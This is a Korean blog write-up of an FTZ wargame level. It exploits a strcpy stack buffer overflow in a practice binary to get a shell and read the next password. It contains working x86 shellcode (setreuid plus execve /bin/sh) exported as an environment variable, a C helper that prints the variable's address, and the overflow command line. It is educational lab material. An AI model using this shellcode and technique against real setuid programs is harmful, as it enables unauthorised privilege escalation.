hint
strcpy는 strncpy와 달리 글자수 점검을 하지 않는 취약점이 있다.
이걸 이용해서 buffer overflow로 풀면 된다.
tmp 폴더로 attackme 복사해서 tmp에서 gdb 열기
disas해보면
str배열은 ebp-264 위치에 있다는 것을 알 수 있다.
그러면 264+4(ebp)는 쓰레기 값을 채우고 ret에 변화를 줘서 쉘을 따면 되겠다.
환경 변수를 이용하면 될 것 같다.
export MYSHELL=$(python -c 'print"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"') ☞ 환경변수 등록
vi env.c
int main(){
printf("%p\n", getenv("MYSHELL"));
return 0;
}
gcc -o env env.c
./env ☞ 환경변수 MYSHELL의 주소가 나온다.
그럼 뭐 끝났다...
cd ~
./attackme `python -c 'print("A"*268+"MYSHELL주소")'`
my-pass 입력하면 비밀번호 구해진다.
해커_지망생이_알아야할_bof_기초-달고나.pdf 를 다 읽고 풀었다.
의문
환경변수 MYSHELL에 왜 쉘코드만 들어가는게 아니라 python -c 까지 같이 들어갈까????
-> 아스키 범위를 넘어가는 값들 때문에
알아두면 좋은 것
환경변수는 프로세스마다 있는 것이다.
여기서는 export로 환경변수를 할당하면 bash 쉘에 할당되는데, ./attackme를 실행하면 자식 프로세스로 생성되어 bash가 가지고 있는 환경변수를 그대로 가져간다.
'워게임 > FTZ' 카테고리의 다른 글
FTZ - level14 (0) | 2021.07.23 |
---|---|
FTZ - level12 (0) | 2021.07.22 |
FTZ - level10 (1) | 2021.07.12 |
FTZ - level9 (0) | 2021.07.06 |
FTZ - level8 (0) | 2021.07.06 |
댓글